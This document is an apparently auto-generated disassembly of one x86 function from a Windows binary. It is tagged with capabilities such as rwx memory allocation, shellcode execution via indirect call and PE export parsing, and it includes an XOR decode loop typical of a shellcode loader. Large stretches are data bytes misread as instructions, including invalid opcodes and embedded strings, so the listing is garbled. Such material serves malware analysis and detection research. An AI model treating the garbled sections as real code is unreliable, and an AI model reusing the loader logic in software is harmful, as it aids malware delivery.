Function at 0x4020d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45afb0
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x60de7c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xac], ecx
lea ecx, [ebp - 0x28]
call fcn.00411c30
mov dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
je 0x402125
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00411dc0
lea ecx, [ebp - 0x28]
call fcn.00412820
movzx ecx, al
test ecx, ecx
je 0x402a3a
push 0x45c288
lea ecx, [ebp - 0x28]
call fcn.00411dc0
push 0x45c290
lea ecx, [ebp - 0x28]
call fcn.00411e00
push 0x45c294
lea ecx, [ebp - 0x28]
call fcn.00411e00
movzx edx, byte [0x60e94c]
test edx, edx
je 0x402a20
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800011], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800011], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800011], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800011], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x1800011], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, dh
ljmp 0
push 0x45c29c
lea ecx, [ebp - 0x28]
call fcn.00411e00
push 0x45c2a0
lea ecx, [ebp - 0x28]
call fcn.00411e00
push str.sueCDWgBkPVrgFZseffbuvmJGAJ
lea ecx, [ebp - 0x40]
call fcn.00411bf0
mov byte [ebp - 4], 1
movzx eax, byte [0x60e94c]
test eax, eax
je 0x4031c7
add eax, 0x245c8b00
xor byte [ebx - 0x1d16163d], cl
invalid
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x40]
call fcn.00412a10
mov dword [ebp - 0x84], eax
movzx ecx, byte [0x60e94c]
test ecx, ecx
je 0x40403e
add byte [eax], al
add byte [eax], al
add byte [0x30255b0a], cl
xor esp, dword [ebp + ebx*2 + 0x20]
and eax, 0x3a753230
and eax, 0x3a753230
and eax, 0x3a753230
and eax, 0x3a753330
and byte [0x73], ah
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x25], bl
xor byte [ebx], dh
pop ebp
and byte [0x3a753230], ah
and eax, 0x3a753230
and eax, 0x3a753230
and byte [eax], al
pop ebx
and eax, 0x5d643330
and byte [0x3a753230], ah
and eax, 0x3a753230
and eax, 0x3a753230
and eax, 0x3a753330
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x5b000a00], cl
add byte [0x33003000], ah
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
sub eax, 0x30002500
add byte [edx], dh
add byte [ebp], dh
and byte [eax], al
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
and eax, 0x7300
add byte [eax], al
add byte [eax], al
add byte [0x5b000a00], cl
add byte [0x33003000], ah
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
and eax, 0x7300
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x5b000a00], cl
add byte [0x33003000], ah
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
sub eax, 0x30002500
add byte [edx], dh
add byte [ebp], dh
and byte [eax], al
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x33003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
and eax, 0x7300
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x5b000a00], cl
add byte [0x33003000], ah
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x33003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
and eax, 0x7300
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], bl
and eax, 0x33003000
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
add byte [eax], al
pop ebx
add byte [0x33003000], ah
add byte [eax + eax + 0x5d], ah
add byte [eax], ah
add byte [0x32003000], ah
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x32003000
add byte [ebp], dh
cmp al, byte [eax]
and eax, 0x33003000
add byte [ebp], dh
cmp al, byte [eax]
and byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or ch, byte [edx]
sub ch, byte [edx]
inc ecx
jae 0x40347a
jb 0x40347e
imul ebp, dword [edi + 0x6e], 0x69616620
insb byte es:[edi], dx
cmp ah, byte fs:[eax]
and eax, 0xa732573
sub ch, byte [edx]
sub ah, byte [eax]
push ebx
outsd dx, dword [esi]
jne 0x403495
arpl word [ebp + 0x20], sp
inc esi
imul ebp, dword [ebp + 0x3a], 0x2c732520
and byte [ecx + ebp*2 + 0x6e], ch
and byte gs:[0xa0a646c], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc edx
jb 0x4034a8
popal
imul ebp, dword [eax], 0x49
outsb dx, byte [si]
outsd dx, dword [esi]
jb 0x4034b2
sub al, 0x20
push esp
jb 0x4034c0
imul ebp, dword [esi + 0x61], 0x50206574
jb 0x4034cb
arpl word [ebp + 0x73], sp
jae 0x403481
outsd dx, dword [esi]
jb 0x403484
push esp
jb 0x4034d5
imul ebp, dword [esi + 0x61], 0x54206574
push 0x64616572
and byte [eax], ch
bound ebp, qword [ecx + 0x70]
je 0x4034a4
sub dword [edi], edi
aas
and byte [eax], al
add byte [eax], al
dec esp
dec esp
dec edi
inc edi
add byte [eax], al
add byte [eax], al
dec edi
dec esp
inc esp
add byte [eax], al
add byte [eax], al
or eax, 0xa
add byte [eax], al
add byte [eax], dh
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
inc ecx
inc edx
inc ebx
inc esp
inc ebp
inc esi
add byte [eax], al
add byte [eax], al
jl 0x4034ae
add byte [eax], al
add byte cs:[eax + eax + 0x4f], cl
add byte [edi], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esp
add byte [edi], cl
inc edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
add byte [edi], cl
add byte cs:[edi], cl
dec esp
add byte [eax + eax], al
add byte [eax], al
add byte [0xa00], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dh
add byte [ecx], dh
add byte [edx], dh
add byte [ebx], dh
add byte [eax + eax], dh
xor eax, 0x37003600
add byte [eax], bh
add byte [ecx], bh
add byte [ecx], al
inc edx
add byte [ebx], al
inc esp
add byte [ebp], al
inc esi
add byte [eax], al
add byte [eax], al
add byte [eax + eax], bh
add byte [0x545b2073], ah
jb 0x403568
arpl word [ecx + 0x6e], bp
and byte [bx + di + 0x6e], cl
popal
arpl word [ecx + ebp*2 + 0x76], si
pop ebp
add byte [eax], al
add byte [0x545b2073], ah
jb 0x403580
arpl word [ecx + 0x6e], bp
and byte [bx + di + 0x63], al
je 0x403591
jbe 0x40358f
pop ebp
add byte [eax], al
add byte [eax], al
add byte [edx + 0x65], dl
insd dword es:[edi], dx
outsd dx, dword [esi]
je 0x40359b
inc ecx
arpl word [ebx + 0x65], sp
jae 0x4035af
add byte [eax], al
add byte [eax], al
and eax, 0x6400
add byte [eax], al
add byte [0x2e006400], ah
add byte [0x2e006400], ah
add byte [0x2e006400], ah
add byte [0x6400], ah
add byte [ebp + 0x70], ch
jb 0x4035d1
jae 0x4035cd
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
add byte [eax], al
push edx
add byte [ebp], ah
insd dword es:[edi], dx
add byte [edi], ch
je 0x40357a
add byte gs:[ecx], al
arpl word [eax], ax
arpl word [eax], ax
add byte gs:[ebx], dh
jae 0x403588
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
add byte [ebp], ch
jo 0x403594
add byte [eax], dh
jb 0x403596
insd dword es:[edi], dx
add byte [ebx], dh
add byte [0x6400], ch
add byte [eax + eax + 0x6c], ch
add byte [eax], al
add byte [esi], ch
add byte [eax + eax + 0x6c], ah
add byte [eax + eax], ch
add byte [eax], al
add byte [eax + eax + 0x4c], al
add byte [eax + eax + 0x4e], cl
add byte [ecx], ah
insd dword es:[edi], dx
add byte [ebp], ah
add byte [eax], al
dec ebp
add byte [ecx], ch
arpl word [eax], ax
jb 0x4035c0
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x4035ca
add byte [eax], al
add byte [eax], al
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], dl
jb 0x4035d4
add byte [edx], dh
outsd dx, dword [esi]
add byte [eax + eax + 0x6f], dh
add byte [ebx], ah
outsd dx, dword [esi]
add byte [eax + eax + 0x49], ch
add byte [eax + eax], ah
add byte [eax], al
add byte [edx], dl
outsd dx, dword [esi]
add byte [ebp], dh
je 0x4035f0
add byte gs:[edx], dh
add byte [eax], al
add byte [eax], al
inc ebx
add byte [ebp], dh
jb 0x4035fe
jb 0x403600
add byte gs:[esi], ch
je 0x403606
push esi
add byte [ebp], ah
jb 0x40360c
jae 0x40360e
imul eax, dword [eax], 0x6e006f
add byte [eax], al
add byte [eax], al
push edx
add byte [edi], ch
jne 0x40361e
je 0x403620
add byte gs:[edx], dh
dec ebp
add byte [ecx], ah
outsb dx, byte [esi]
add byte [ecx], ah
add byte [di], ah
jb 0x403632
jae 0x403634
add byte [eax], al
add byte [eax], al
push ebx
add byte [edi], ch
add byte [eax + eax + 0x77], dh
add byte [ecx], ah
jb 0x403646
add byte gs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x5c007300], ah
add byte [0x5c007300], ah
add byte [0x5c007300], ah
add byte [0x5c007300], ah
add byte [0x7300], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x6fffff51], al
rol byte [eax], 1
add byte [eax], al
rol byte [eax], 1
add byte [eax + 0xaf], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x44], al
push esi
inc ecx
push eax
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
shr byte [edi], 0
add al, bl
scasd eax, dword es:[edi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
call 0x4037bc
add byte [eax], al
add al, bh
scasd eax, dword es:[edi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc byte [eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc esp
jb 0x403793
imul esi, dword [bp + di + 0x74], 0x76457265
outsb dx, byte gs:[esi]
je 0x40378d
outsd dx, dword [esi]
jne 0x4037af
arpl word [ebp], sp
add byte [eax], al
push edx
jo 0x4037b5
jb 0x4037bc
inc ebp
jbe 0x4037b0
outsb dx, byte [esi]
je 0x40378f
add byte [ecx], dl
add byte [eax], al
push edx
jo 0x4037c5
jb 0x4037cc
inc ebp
jbe 0x4037c0
outsb dx, byte [esi]
je 0x4037b5
add byte [ecx], dl
add byte [eax], al
push edx
imul esi, dword gs:[bp + di + 0x74], 0x76457265
outsb dx, byte gs:[esi]
je 0x4037c3
outsd dx, dword [esi]
jne 0x4037e5
arpl word [ebp + 0x57], sp
add byte [ecx], al
add byte [edx + 0x65], dl
imul esi, dword [bp + di + 0x74], 0x76457265
outsb dx, byte gs:[esi]
je 0x4037db
outsd dx, dword [esi]
jne 0x4037fd
arpl word [ebp + 0x41], sp
inc ecx
add byte [ecx - 0x20], al
mov al, 0
inc ecx
loopne 0x403742
add byte [eax], al
add bh, bh
inc esp
mov al, 0
add byte [eax - 0x60], ch
les esi, [eax - 0x5f980000]
mov al, byte [0xb3b00000]
add byte [eax], al
mov al, 0xb3
add byte [eax], al
invalid
mov al, 0
add al, dl
mov byte [0xb3c80000], al
add byte [eax], al
enter 0xb3, 0
add al, ch
mov byte [0], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ecx
push eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x50], al
dec ecx
sub eax, 0x572d534d
imul ebp, dword [esi + 0x2d], 0x65726f43
outsb dx, byte [esi]
sub eax, 0x65726f43
sub eax, 0x61636f4c
insb byte es:[edi], dx
push edx
imul esi, dword gs:[bp + di + 0x74], 0x4c2d7972
xor dword [0x2e302d31], ebp
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
outsb dx, byte [esi]
je 0x403887
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x45], cl
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
jae 0x4038b5
arpl word [edx + 0x74], si
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
xor byte [eax + eax], dh
add byte [edx], bh
mov ah, 0
add byte [eax], al
add byte [eax], al
add byte [edx - 0x4c], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
pushal
mov ah, 0
add byte [eax], al
add byte [eax], al
add byte [eax - 0x4c], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
je 0x403826
add byte [eax], al
add byte [eax], al
add byte [eax], al
jle 0x40382e
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
add byte [eax + 0xb4], bl
add byte [eax], al
add byte [esi + 0xb4], ah
add byte [eax], al
add byte [esp + esi*4], dh
add byte [eax], al
sal byte [eax + eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
retf 0xb4
add byte [eax], al
add dh, bl
mov ah, 0
add byte [eax], al
add byte [eax], al
add dl, ch
mov ah, 0
add byte [eax], al
add byte [eax], al
add dh, dh
mov ah, 0
add byte [eax], al
add byte [eax], al
add byte [edx], al
mov ch, 0
add byte [eax], al
add byte [eax], al
add byte [esi*4], dl
add byte [eax], al
and al, 0xb5
add byte [eax], al
add byte [eax], al
add byte [eax], al
cmp dh, byte [ebp]
add byte [eax], al
dec eax
mov ch, 0
add byte [eax], al
add byte [eax], al
add byte [ebp + esi*4], bl
add byte [eax], al
add byte [eax], al
add byte [eax - 0x4b], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jle 0x4038bf
add byte [eax], al
add byte [eax], al
add byte [eax], al
invalid
mov dword [ebp - 0x6c], 0
jmp 0x404050
mov edx, dword [ebp - 0x6c]
add edx, 1
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [0x60cb88]
jge 0x40409c
mov ecx, dword [ebp - 0x6c]
movsx ebx, byte [ecx + 0x60cb58]
mov edx, dword [ebp - 0x64]
push edx
lea ecx, [ebp - 0x40]
call fcn.00411de0
movzx eax, word [eax]
xor ebx, eax
mov ecx, dword [ebp - 0x6c]
mov byte [ecx + 0x60cb58], bl
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x84]
jl 0x40409a
mov dword [ebp - 0x64], 0
jmp 0x404047
movzx ecx, byte [0x60e94c]
test ecx, ecx
je 0x4047b6
invalid
call 0x401260
push 0xc
call fcn.00416293
add esp, 4
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
je 0x4047f7
xor edx, edx
mov eax, dword [ebp - 0x88]
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
mov ecx, dword [ebp - 0x88]
call fcn.00411ce0
mov dword [ebp - 0x90], eax
jmp 0x404801
mov dword [ebp - 0x90], 0
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x80], ecx
push 0x60cb58
mov ecx, dword [ebp - 0x80]
call fcn.00401280
movzx edx, byte [0x60e94c]
test edx, edx
je 0x404fea
add dh, byte [esp + ebx*2 + 0x41]
sub edx, esi
je 0x404876
inc ecx
sub edx, esi
je 0x40486d
inc ecx
sub edx, esi
je 0x40485e
inc ecx
sub edx, esi
je 0x40484f
inc ecx
sub edx, esi
jne 0x4048b9
dec eax
lea ebp, [0x3d4e]
inc esp
lea esp, [edx + 0xd]
jmp 0x4048b9
dec eax
lea ebp, [0x3d31]
inc ecx
mov esp, 0xb
jmp 0x4048b9
dec eax
lea ebp, [0x3d12]
inc ecx
mov esp, 0xa
jmp 0x4048b9
dec eax
lea ebp, [0x3cf3]
jmp 0x40487d
dec eax
lea ebp, [0x3cda]
inc ecx
mov esp, 9
jmp 0x4048b9
inc ebp
movzx eax, sp
movzx edx, bx
inc esp
cmp eax, ebx
jle 0x4048e1
mov al, byte [ebp]
dec ecx
mov ecx, dword [ebx + 0x10]
inc cx
add edx, esi
mov byte [ecx], al
dec ebp
add dword [ebx + 0x10], esi
movsx eax, dx
dec ecx
add ebp, esi
inc ecx
cmp eax, eax
jl 0x4048c5
dec eax
mov ecx, dword [edi + 8]
dec ecx
mov eax, dword [ebx + 0x20]
dec esp
movsx eax, word [ecx]
dec eax
mov ecx, dword [ecx + 0x10]
dec ebp
add eax, eax
dec edx
mov dword [ecx + eax*8], eax
dec eax
mov eax, dword [edi + 8]
inc ecx
movzx edx, word [ebx + 0x10]
dec eax
mov ecx, dword [eax + 0x10]
inc cx
sub edx, dword [ebx]
inc dx
mov dword [ecx + eax*8 + 8], edx
dec eax
mov eax, dword [edi + 8]
inc sp
add dword [eax], esi
mov word [edi + 0xbd6], si
jmp 0x40498f
inc cx
cmp esi, esi
jne 0x40492c
inc cx
cmp ebx, edi
jmp 0x40494a
mov eax, 2
cmp si, ax
je 0x404946
mov eax, 3
cmp si, ax
jne 0x40494c
inc cx
cmp ebx, edi
je 0x40494c
inc cx
cmp ebx, ebp
jne 0x40498b
dec eax
mov ecx, dword [edi + 8]
dec eax
movsx eax, bx
dec esp
movsx ecx, word [ecx]
dec esp
mov eax, dword [esp + eax*8 + 0x20]
dec eax
mov ecx, dword [ecx + 0x10]
dec ecx
mov eax, dword [eax + 0x20]
dec ebp
add ecx, ecx
dec edx
mov dword [ecx + ecx*8], eax
dec eax
mov eax, dword [edi + 8]
inc ecx
movzx edx, word [eax + 0x10]
dec eax
mov ecx, dword [eax + 0x10]
inc cx
sub edx, dword [eax]
inc dx
mov dword [ecx + ecx*8 + 8], edx
dec eax
mov eax, dword [edi + 8]
inc sp
add dword [eax], esi
inc cx
add ebx, esi
cmp bx, word [edi + 0xbe6]
jl 0x404920
jmp 0x4049a1
dec esp
lea ebx, [esp + 0xa0]
dec ecx
mov ebx, dword [ebx + 0x30]
dec ecx
mov ebp, dword [ebx + 0x38]
dec ecx
mov esi, dword [ebx + 0x40]
dec ecx
mov esp, ebx
inc ecx
pop edi
inc ecx
pop esi
inc ecx
pop ebp
inc ecx
pop esp
pop edi
ret
mov ecx, dword [ebp - 0x80]
call 0x401370
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
call fcn.004020a0
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x400
jge 0x40636b
movzx eax, byte [0x60e94c]
test eax, eax
je 0x40634b
inc edx
xor al, 0x34
das
sub eax, 0x2c2c2e2d
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2a
sub ch, byte [ebx]
sub dword [ecx], ebp
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
sub al, 0x2c
add al, 4
add al, 0x16
adc eax, 0x19191a15
sbb bl, byte [ecx]
sbb dword [edx], ebx
sbb dword [ecx], ebx
sbb bl, byte [ecx]
sbb dword [ebx + ebp], ebp
sub ebp, dword [esi + 0x6e]
outsb dx, byte [esi]
popfd
popfd
popfd
into
into
into
rcl ecx, 1
rcl ebx, 1
rcl ebx, cl
aad 0xd5
aad 0xd6
salc
salc
fstpnce st(1), st(0)
fstpnce st(2), st(0)
fcmovu st(0), st(2)
invalid
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x94], edx
cmp dword [ebp - 0x94], 0
je 0x40639e
push 1
mov ecx, dword [ebp - 0x94]
call fcn.00411e20
mov dword [ebp - 0xa8], eax
jmp 0x4063a8
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x80], 0
call fcn.00401270
movzx eax, byte [0x60e94c]
test eax, eax
je 0x4075ce
outsd dx, dword [esi]
and byte [ecx + 0x6e], ch
imul esi, dword [ecx + ebp*2 + 0x61], 0x617a696c
je 0x40643a
outsd dx, dword [esi]
outsb dx, byte [esi]
or eax, 0xa
add byte [edx + 0x36], dl
xor byte [edx], dh
xor eax, 0x202d0a0d
jo 0x406459
jb 0x40644b
and byte [esi + 0x69], dh
jb 0x40645f
jne 0x40644e
insb byte es:[edi], dx
and byte [esi + 0x75], ah
outsb dx, byte [esi]
arpl word [ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
and byte [ebx + 0x61], ah
insb byte es:[edi], dx
insb byte es:[edi], dx
or eax, 0xa
push edx
xor byte ss:[edx], dh
xor al, 0xd
or ch, byte [0x746f6e20]
and byte [ebp + 0x6e], ah
outsd dx, dword [esi]
jne 0x40647a
push 0x61707320
arpl word [ebp + 0x20], sp
outsw dx, word [esi]
jb 0x40643f
pop edi
outsd dx, dword [esi]
outsb dx, byte [esi]
js 0x40648e
je 0x406456
popal
je 0x40648f
js 0x406495
je 0x40644e
je 0x406491
bound ebp, qword [ebp + 0xd]
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x36], dl
xor byte [ecx], dh
xor byte ss:[ecx], dh
cmp dword [0x75202d0a], ecx
outsb dx, byte [esi]
popal
or ch, byte [0x616e7520]
bound ebp, qword [ebp + 0x20]
je 0x4064ba
and byte [edi + 0x70], ch
outsb dx, byte gs:[esi]
and byte [ebx + 0x6f], ah
outsb dx, byte [esi]
jae 0x4064c5
insb byte es:[edi], dx
and byte gs:[ebp + 0x76], ah
imul esp, dword [ebx + 0x65], 0xa0d
add byte [eax], al
push edx
xor byte ss:[ecx], dh
jbe 0x4064c6
arpl word [ebp + 0xd], sp
or al, byte [eax]
add byte [eax], al
or eax, 0xa
add byte [edx + 0x36], dl
xor byte [ecx], dh
cmp byte [0x75202d0a], cl
outsb dx, byte [esi]
js 0x4064e3
arpl word gs:[ebp + 0x64], si
and byte [eax + 0x65], ch
popal
popal
jo 0x40649e
jb 0x4064f3
outsd dx, dword [esi]
jb 0x406491
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x36], dl
xor byte [ecx], dh
aaa
or eax, 0x75202d0a
outsb dx, byte [esi]
or ch, byte [0x656e7520]
and byte [ebp + 0x6e], dh
js 0x406507
js 0x406507
arpl word gs:[ebp + 0x64], si
and byte [ebp + 0x75], ch
insb byte es:[edi], dx
jne 0x40650c
je 0x40650b
je 0x40650c
jb 0x40650b
popal
and byte fs:[edi + ebp*2 + 0x63], ch
imul esp, dword [eax], 0x65
jb 0x406523
outsd dx, dword [esi]
jb 0x4064c1
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x36], dl
xor byte [ecx], dh
xor byte ss:[ecx], dh
or eax, 0x6e202d0a
outsd dx, dword [esi]
and byte [esi + 0x6f], ch
je 0x4064e6
and byte [ebp + 0x6e], ah
outsb dx, byte gs:[esi]
outsd dx, dword [esi]
jne 0x406532
push 0x61707320
arpl word [ebp + 0x20], sp
outsw dx, word [esi]
jb 0x4064f7
or al, byte [eax]
or eax, 0x6968540a
or dl, byte [eax + ebp*2 + 0x69]
jae 0x40650c
je 0x40655e
outsd dx, dword [esi]
outsb dx, byte [esi]
push 0x75522065
jne 0x40657b
outsb dx, byte [esi]
je 0x4065c5
popal
add byte [eax], al
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x7c], 0
movzx ecx, byte [0x60e94c]
test ecx, ecx
je 0x407ebb
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [ecx], cl
add al, 0
add al, cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [ecx], cl
add al, 0
add al, bl
add byte [eax], al
add byte [eax - 0x17ffffda], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x12000014], cl
adc al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
adc dword [eax], eax
add byte [ebx + eax], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [0x45005700], cl
add byte [esi], dl
push esp
add byte [edi], bl
push esp
add byte [ebp], al
dec ebp
add byte [eax], dl
dec esp
add byte [ecx], al
push esp
add byte [ebp], al
add eax, dword [eax]
dec ebp
add byte [ebp], dl
dec ecx
add byte [eax], al
add byte [eax], al
add byte [ebx + eax + 0x34], dh
add byte [eax], al
